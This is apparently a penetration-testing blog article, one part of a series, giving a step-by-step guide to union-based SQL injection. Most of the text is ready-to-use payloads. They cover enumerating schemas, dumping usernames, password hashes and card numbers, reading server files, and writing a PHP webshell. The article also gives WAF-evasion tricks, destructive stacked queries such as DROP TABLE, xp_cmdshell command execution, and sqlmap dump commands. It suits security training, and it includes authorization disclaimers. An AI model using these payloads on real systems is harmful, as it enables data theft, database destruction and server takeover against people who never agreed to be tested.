Union-Based SQL Injection: Complete Exploitation Guide

Union-Based SQL Injection: Complete Exploitation Guide

Union-based SQL injection is one of the most powerful and straightforward SQL injection techniques available to penetration testers. Unlike blind SQL injection where you extract data bit by bit, union-based SQLi allows you to retrieve database contents directly in the application's response. This makes it the preferred method when visible error messages or data output are available.

In this comprehensive guide, we'll walk through every step of union-based SQL injection exploitation—from detecting vulnerable injection points to extracting sensitive data across different database management systems.

Table of Contents

• Understanding the UNION Operator
• Prerequisites and When to Use Union-Based SQLi
• Step 1: Detecting the Injection Point
• Step 2: Determining Column Count
• Step 3: Finding Displayable Columns
• Step 4: Extracting Database Information
• Step 5: Enumerating Tables and Columns
• Step 6: Extracting Sensitive Data
• Advanced Union Techniques
• Union-Based SQLi Across Different Databases
• Automation Tools for Union-Based SQLi
• FAQ
• Next Steps

Understanding the UNION Operator

Before diving into exploitation, let's understand how the SQL UNION operator works in legitimate queries.

The UNION operator combines results from two or more SELECT statements into a single result set. For a UNION query to work properly, it must follow two critical rules:

1. Each SELECT statement must have the same number of columns
2. Columns in corresponding positions must have compatible data types

Legitimate UNION Example

-- Query 1: Get active users
SELECT username, email FROM users WHERE status='active'
UNION
-- Query 2: Get admin users
SELECT username, email FROM admins WHERE role='admin';

This returns a combined result set of both active users and admin users.

How Attackers Abuse UNION

In union-based SQL injection, attackers append a malicious UNION query to the original database query, forcing it to return data from arbitrary tables:

-- Original query
SELECT name, description FROM products WHERE id=5

-- Injected query
SELECT name, description FROM products WHERE id=5 UNION SELECT username, password FROM users--

The application displays product details in the response, but thanks to UNION, it also displays usernames and passwords from the users table.

Prerequisites and When to Use Union-Based SQLi

When Union-Based SQLi Works Best

Union-based SQL injection is most effective when:

✅ The application displays query results – Data from the database is rendered in the HTTP response
✅ Error messages are visible – Helps with troubleshooting during exploitation
✅ The injection point is in a SELECT statement – UNION only works with SELECT queries
✅ You can comment out the rest of the query – Using --, #, or /* */

When Union-Based SQLi Won't Work

Union-based SQLi is not suitable when:

❌ Query results are not displayed (use blind SQL injection instead)
❌ The injection point is in INSERT, UPDATE, or DELETE statements
❌ Strict input validation blocks UNION keyword
❌ Web Application Firewall (WAF) actively filters SQL syntax

Prerequisites

Before starting, ensure you understand:

• Basic SQL injection concepts
• Different types of SQL injection
• SQL SELECT statement syntax
• Database table structures (tables, columns, schemas)

If you're new to SQL injection, start with our beginner's guide and DVWA tutorial first.

Step 1: Detecting the Injection Point

The first step in any SQL injection attack is identifying a vulnerable parameter.

Testing for Vulnerabilities

Consider a product page with this URL:

https://example.com/products.php?id=5

Test 1: Single Quote Test

https://example.com/products.php?id=5'

If this breaks the page or returns a database error, the parameter is likely vulnerable:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...

Test 2: Boolean Test

https://example.com/products.php?id=5 AND 1=1--
https://example.com/products.php?id=5 AND 1=2--

• First query (1=1, always true) should return normal results
• Second query (1=2, always false) should return no results or different output

If the responses differ, you've confirmed an injection point.

Test 3: Comment Test

https://example.com/products.php?id=5--

If this returns normal results, the comment syntax works, which is essential for UNION attacks.

Common Injection Points

• URL parameters: ?id=, ?category=, ?search=
• POST data: Login forms, search boxes, filters
• HTTP headers: User-Agent, Referer, Cookie values
• JSON/XML parameters: API endpoints

Step 2: Determining Column Count (ORDER BY Technique)

For a UNION query to work, your injected SELECT must have the same number of columns as the original query. The ORDER BY technique is the most reliable method to determine this.

The ORDER BY Method

ORDER BY sorts results by column position. If you specify a column number that doesn't exist, the database returns an error.

Step-by-step enumeration:

-- Test column 1
https://example.com/products.php?id=5 ORDER BY 1--
✅ Page loads normally

-- Test column 2
https://example.com/products.php?id=5 ORDER BY 2--
✅ Page loads normally

-- Test column 3
https://example.com/products.php?id=5 ORDER BY 3--
✅ Page loads normally

-- Test column 4
https://example.com/products.php?id=5 ORDER BY 4--
❌ Error: Unknown column '4' in 'order clause'

Result: The original query has 3 columns.

Alternative: UNION SELECT NULL Method

Some environments block ORDER BY. In this case, use incremental UNION SELECT NULL statements:

-- Test 1 column
id=5 UNION SELECT NULL--
❌ Error: The used SELECT statements have a different number of columns

-- Test 2 columns
id=5 UNION SELECT NULL,NULL--
❌ Error: The used SELECT statements have a different number of columns

-- Test 3 columns
id=5 UNION SELECT NULL,NULL,NULL--
✅ Page loads successfully

Result: The query has 3 columns.

Why Use NULL?

NULL is compatible with every data type, so it won't cause type mismatch errors during column enumeration.

Step 3: Finding Displayable Columns

Now that we know the column count, we need to identify which columns are actually displayed in the page response. Not all columns in a query are rendered in the HTML output.

Using Numeric Markers

Replace each NULL with a unique number:

https://example.com/products.php?id=5 UNION SELECT 1,2,3--

Check the page output. If you see the numbers "2" and "3" displayed where product information normally appears, columns 2 and 3 are displayable.

Using Text Markers

For better visibility, use distinctive text strings:

https://example.com/products.php?id=-5 UNION SELECT 'AAA','BBB','CCC'--

Note: We use id=-5 (a non-existent ID) to hide the original query results, making the injected data more visible.

Example Output

<div class="product">
  <h2>BBB</h2>
  <p>CCC</p>
</div>

Result: Columns 2 and 3 are displayable. We'll use these columns to extract data.

Step 4: Extracting Database Information

With displayable columns identified, we can start extracting database metadata using built-in SQL functions.

MySQL Information Functions

-- Database version
id=-5 UNION SELECT 1,@@version,3--

-- Current database name
id=-5 UNION SELECT 1,database(),3--

-- Current user
id=-5 UNION SELECT 1,user(),3--

-- Combined information
id=-5 UNION SELECT 1,CONCAT(@@version,' | ',database(),' | ',user()),3--

Example Output: 8.0.32 | ecommerce_db | webapp@localhost

PostgreSQL Information Functions

-- Database version
id=-5 UNION SELECT 1,version(),3--

-- Current database
id=-5 UNION SELECT 1,current_database(),3--

-- Current user
id=-5 UNION SELECT 1,current_user,3--

-- Database path
id=-5 UNION SELECT 1,current_setting('data_directory'),3--

Microsoft SQL Server Information

-- Database version
id=-5 UNION SELECT 1,@@version,3--

-- Current database
id=-5 UNION SELECT 1,DB_NAME(),3--

-- Current user
id=-5 UNION SELECT 1,SYSTEM_USER,3--

-- Server name
id=-5 UNION SELECT 1,@@SERVERNAME,3--

Oracle Database Information

-- Oracle requires FROM clause
id=-5 UNION SELECT 1,banner,3 FROM v$version--

-- Current user
id=-5 UNION SELECT 1,USER,3 FROM dual--

-- Database name
id=-5 UNION SELECT 1,GLOBAL_NAME,3 FROM global_name--

Key Insight: Different databases use different functions. Identifying the database type early helps tailor your attack.

Step 5: Enumerating Tables and Columns (information_schema)

The information_schema database (available in MySQL, PostgreSQL, and MSSQL) contains metadata about all databases, tables, and columns.

Listing All Databases

-- MySQL/MariaDB
id=-5 UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata--

-- Output: information_schema,mysql,performance_schema,ecommerce_db

Listing All Tables in Current Database

-- MySQL/MariaDB
id=-5 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

-- Output: products,users,orders,admins,payment_info

Listing All Tables in a Specific Database

id=-5 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='ecommerce_db'--

Listing Columns in a Specific Table

-- Get all columns from 'users' table
id=-5 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--

-- Output: id,username,email,password,role,created_at

More Detailed Column Information

-- Get column names with their data types
id=-5 UNION SELECT 1,GROUP_CONCAT(column_name,'[',data_type,']'),3 FROM information_schema.columns WHERE table_name='users'--

-- Output: id[int],username[varchar],email[varchar],password[varchar],role[enum],created_at[datetime]

PostgreSQL Enumeration

-- List tables
id=-5 UNION SELECT 1,STRING_AGG(tablename,','),3 FROM pg_tables WHERE schemaname='public'--

-- List columns
id=-5 UNION SELECT 1,STRING_AGG(column_name,','),3 FROM information_schema.columns WHERE table_name='users'--

MSSQL Enumeration

-- List databases
id=-5 UNION SELECT 1,name,3 FROM master..sysdatabases--

-- List tables
id=-5 UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'--

-- List columns
id=-5 UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')--

Oracle Enumeration

-- List tables
id=-5 UNION SELECT 1,table_name,3 FROM all_tables--

-- List columns
id=-5 UNION SELECT 1,column_name,3 FROM all_tab_columns WHERE table_name='USERS'--

Tip: Use GROUP_CONCAT() (MySQL) or STRING_AGG() (PostgreSQL) to display multiple rows in a single response.

Step 6: Extracting Sensitive Data

Now for the payload: extracting actual data from target tables.

Extracting User Credentials

-- Extract all usernames and passwords
id=-5 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM users--

-- Output: admin:5f4dcc3b5aa765d61d8327deb882cf99,user1:e10adc3949ba59abbe56e057f20f883e,user2:098f6bcd4621d373cade4e832627b4f6

Extracting Email Addresses

id=-5 UNION SELECT 1,GROUP_CONCAT(email SEPARATOR '<br>'),3 FROM users--

Extracting Admin Accounts

id=-5 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM users WHERE role='admin'--

Extracting Credit Card Information

id=-5 UNION SELECT 1,GROUP_CONCAT(card_number,'|',cvv,'|',expiry),3 FROM payment_info--

Extracting Data Row by Row

When GROUP_CONCAT reaches its limit (default 1024 characters), extract data row by row using LIMIT:

-- First user
id=-5 UNION SELECT 1,CONCAT(username,':',password),3 FROM users LIMIT 0,1--

-- Second user
id=-5 UNION SELECT 1,CONCAT(username,':',password),3 FROM users LIMIT 1,1--

-- Third user
id=-5 UNION SELECT 1,CONCAT(username,':',password),3 FROM users LIMIT 2,1--

Reading Files (MySQL)

If the database user has FILE privileges, you can read server files:

-- Read /etc/passwd
id=-5 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--

-- Read web application config
id=-5 UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3--

Writing Files (MySQL)

With FILE privileges and secure_file_priv disabled:

-- Write a PHP webshell
id=-5 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--

Warning: File operations are dangerous and often restricted. Always have explicit permission before attempting.

Advanced Union Techniques

1. Using Concatenation for Efficient Data Extraction

-- MySQL
id=-5 UNION SELECT 1,CONCAT(username,'|',email,'|',password),3 FROM users--

id=-5 UNION SELECT 1,CONCAT_WS('|',username,email,password),3 FROM users--

-- PostgreSQL
id=-5 UNION SELECT 1,username||'|'||email||'|'||password,3 FROM users--

-- MSSQL
id=-5 UNION SELECT 1,username+' | '+email+' | '+password,3 FROM users--

2. Hex Encoding to Bypass Filters

Some WAFs block single quotes. Use hex encoding:

-- Instead of WHERE table_name='users'
id=-5 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name=0x7573657273--

-- 0x7573657273 is hex for 'users'

3. Using CHAR() to Bypass Quotes

-- Instead of 'admin'
id=-5 UNION SELECT 1,password,3 FROM users WHERE username=CHAR(97,100,109,105,110)--

4. Case Manipulation to Evade Detection

id=-5 UnIoN SeLeCt 1,username,3 FrOm users--

5. Comment Obfuscation

-- MySQL inline comments
id=-5 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--

id=-5 UNION/**/SELECT/**/1,2,3--

6. Stacked Queries (When Supported)

-- Execute multiple statements
id=5; DROP TABLE users--

id=5; UPDATE users SET password='hacked' WHERE username='admin'--

Note: Stacked queries require specific database configurations and aren't always supported.

7. Extracting Multiple Tables at Once

id=-5 UNION SELECT 1,
    (SELECT GROUP_CONCAT(username,':',password) FROM users),
    (SELECT GROUP_CONCAT(card_number) FROM payment_info)--

8. Time-Based Union Validation

When unsure if data is being extracted:

-- MySQL
id=-5 UNION SELECT 1,SLEEP(5),3--

-- PostgreSQL
id=-5 UNION SELECT 1,pg_sleep(5),3--

-- If page delays 5 seconds, injection works

Union-Based SQLi Across Different Databases

Each database management system has unique syntax and capabilities:

Comparison Table

MySQL-Specific Techniques

-- Information gathering
id=-5 UNION SELECT 1,@@hostname,@@datadir--

-- User privileges
id=-5 UNION SELECT 1,grantee,privilege_type FROM information_schema.user_privileges--

-- Reading files
id=-5 UNION SELECT 1,LOAD_FILE('/etc/mysql/my.cnf'),3--

PostgreSQL-Specific Techniques

-- System information
id=-5 UNION SELECT 1,version(),inet_server_addr()--

-- List extensions
id=-5 UNION SELECT 1,extname,extversion FROM pg_extension--

-- Execute commands (if superuser)
id=-5 UNION SELECT 1,query_to_xml('SELECT * FROM users',true,true,''),3--

MSSQL-Specific Techniques

-- System tables
id=-5 UNION SELECT 1,name,is_trustworthy_on FROM sys.databases--

-- Command execution (if xp_cmdshell enabled)
id=5; EXEC xp_cmdshell 'dir C:\'--

-- Linked servers
id=-5 UNION SELECT 1,name,data_source FROM sys.servers--

Oracle-Specific Techniques

-- Remember: Oracle requires FROM clause
id=-5 UNION SELECT 1,banner,NULL FROM v$version--

-- User privileges
id=-5 UNION SELECT 1,granted_role,NULL FROM user_role_privs--

-- All user accounts
id=-5 UNION SELECT 1,username,password FROM dba_users--

Tools for Union-Based SQLi

While manual exploitation deepens your understanding, automation tools speed up testing during penetration tests.

SQLMap

The industry-standard SQL injection tool.

# Basic union-based attack
sqlmap -u "http://example.com/products.php?id=5" --technique=U

# Dump entire database
sqlmap -u "http://example.com/products.php?id=5" --dump

# Target specific database and table
sqlmap -u "http://example.com/products.php?id=5" -D ecommerce_db -T users --dump

# Extract only specific columns
sqlmap -u "http://example.com/products.php?id=5" -D ecommerce_db -T users -C username,password --dump

# POST request with union
sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass" --technique=U

Key SQLMap Options:

• --technique=U: Union-based only
• --union-cols=3: Manually set column count
• --union-char='NULL': Use NULL instead of random values
• --batch: Non-interactive mode
• --threads=10: Speed up with threading

Burp Suite (Manual)

1. Intercept request in Burp Proxy
2. Send to Repeater (Ctrl+R)
3. Manually craft UNION payloads in the parameter
4. Observe responses for extracted data
5. Use Intruder for automated column enumeration

Intruder Payload for Column Count:

ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
...
ORDER BY 20--

Manual Testing Workflow

# 1. Test for SQLi vulnerability
curl "http://example.com/products.php?id=5'"

# 2. Determine column count
curl "http://example.com/products.php?id=5 ORDER BY 1--"
curl "http://example.com/products.php?id=5 ORDER BY 2--"
curl "http://example.com/products.php?id=5 ORDER BY 3--"
curl "http://example.com/products.php?id=5 ORDER BY 4--"

# 3. Find displayable columns
curl "http://example.com/products.php?id=-5 UNION SELECT 1,2,3--"

# 4. Extract database name
curl "http://example.com/products.php?id=-5 UNION SELECT 1,database(),3--"

# 5. Enumerate tables
curl "http://example.com/products.php?id=-5 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--"

# 6. Extract data
curl "http://example.com/products.php?id=-5 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM users--"

Other Useful Tools

• jSQL Injection: GUI-based SQLi tool
• NoSQLMap: For NoSQL injection (MongoDB, CouchDB)
• Havij: Windows-based, user-friendly (outdated but still used)
• SQLNinja: MSSQL-specific exploitation
• BBQSQL: Python-based blind SQLi framework

For more tools and techniques, check out our comprehensive SQL injection cheat sheet.

Frequently Asked Questions (FAQ)

1. What is the difference between union-based and blind SQL injection?

Union-based SQL injection extracts data directly by appending a UNION query that displays results in the application's response. It requires visible query output. Blind SQL injection is used when the application doesn't display query results—instead, you infer data through boolean conditions, time delays, or out-of-band channels. Union-based is faster and more efficient when available.

2. Why use NULL in UNION SELECT instead of specific values?

NULL is compatible with every data type in SQL (strings, integers, dates, etc.), preventing type mismatch errors during column enumeration. For example, UNION SELECT 1,2,3 might fail if column 2 expects a date type, but UNION SELECT 1,NULL,3 will succeed because NULL can represent any type.

3. How do I bypass SQL injection filters and WAFs in union attacks?

Common bypass techniques:

• Hex encoding: table_name=0x7573657273 instead of table_name='users'
• CHAR() function: CHAR(117,115,101,114,115) instead of 'users'
• Case manipulation: UnIoN SeLeCt
• Inline comments: /*!UNION*//*!SELECT*/
• Alternative whitespace: UNION/**/SELECT, UNION%0ASELECT
• Encoding: URL encoding, double encoding
• Alternative syntax: Use + instead of space in MSSQL

For comprehensive filter bypasses, see our SQL injection cheat sheet.

4. What is GROUP_CONCAT and why is it useful in SQL injection?

GROUP_CONCAT() (MySQL) is an aggregate function that concatenates multiple rows into a single string, separated by commas or custom delimiters. In SQL injection, it allows you to extract numerous database entries in a single request instead of querying row by row:

-- Without GROUP_CONCAT (one row at a time)
UNION SELECT 1,username,3 FROM users LIMIT 0,1--
UNION SELECT 1,username,3 FROM users LIMIT 1,1--

-- With GROUP_CONCAT (all rows at once)
UNION SELECT 1,GROUP_CONCAT(username),3 FROM users--

Other databases use similar functions: STRING_AGG() (PostgreSQL/MSSQL) and LISTAGG() (Oracle).

5. Can union-based SQL injection work on NoSQL databases like MongoDB?

No, traditional union-based SQL injection techniques don't work on NoSQL databases because they use different query languages (e.g., MongoDB uses JSON-like queries, not SQL). However, NoSQL injection vulnerabilities do exist with different exploitation methods:

// MongoDB injection example
db.users.find({username: req.body.username, password: req.body.password})

// Payload: {"username": {"$ne": null}, "password": {"$ne": null}}
// Bypasses authentication by using "not equal" operator

NoSQL injection requires understanding the specific database's query syntax. Each NoSQL database (MongoDB, CouchDB, Cassandra) has unique injection vectors.

Next Steps and Further Learning

Congratulations! You've mastered union-based SQL injection—one of the most powerful techniques in web application penetration testing.

Continue Your SQL Injection Journey

This is Article 4 of 7 in our SQL Injection Mastery series:

1. What is SQL Injection? Beginner's Guide – Start here if you're new
2. SQL Injection Types Explained – Comprehensive taxonomy
3. SQL Injection Tutorial: DVWA Walkthrough – Hands-on practice
4. Union-Based SQL Injection: Complete Guide – ← You are here
5. Blind SQL Injection: Complete Exploitation Guide – Next article
6. SQL Injection Cheat Sheet: Ultimate Reference – Quick reference
7. SQL Injection Prevention Guide – Secure coding practices

Practice Safely and Legally

Never test on live systems without written authorization. Practice on:

• DVWA (Damn Vulnerable Web Application)
• SQLi Labs (Audi-1)
• WebGoat (OWASP)
• Mutillidae II
• HackTheBox and TryHackMe (legal hacking platforms)
• PortSwigger Web Security Academy (free labs)

Expand Your Pentesting Skills

• API Security Testing: Complete Guide for Pentesters
• OWASP Top 10 2025: Complete Security Guide

Related Topics

• Blind SQL Injection – When union-based doesn't work (covered in next article)
• Second-Order SQL Injection – Stored payloads that execute later
• Out-of-Band SQL Injection – Using DNS/HTTP exfiltration
• SQL Injection in APIs – Testing GraphQL, REST, SOAP endpoints
• NoSQL Injection – MongoDB, Cassandra, Redis exploits

Ethical Considerations

As a penetration tester, always:

✅ Obtain explicit written permission before testing
✅ Stay within the defined scope of engagement
✅ Document all findings professionally
✅ Report vulnerabilities responsibly
✅ Never extract or exfiltrate real user data without authorization
✅ Follow responsible disclosure practices

Additional Resources

• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• PortSwigger SQL Injection: https://portswigger.net/web-security/sql-injection
• MySQL Documentation: https://dev.mysql.com/doc/
• PostgreSQL Documentation: https://www.postgresql.org/docs/

Union-based SQL injection is a fundamental skill for every penetration tester. Master it through practice, understand its limitations, and always test ethically.

Ready to learn about situations where union-based techniques don't work? Continue to our Blind SQL Injection Guide, where we cover boolean-based, time-based, and out-of-band data extraction techniques.

Have questions or want to share your SQLi experiences? Connect with us on our community forum or follow @andraxpentester for daily security tips.

This article is part of the SQL Injection Mastery series on andraxpentester.in. All techniques are for educational purposes and authorized testing only.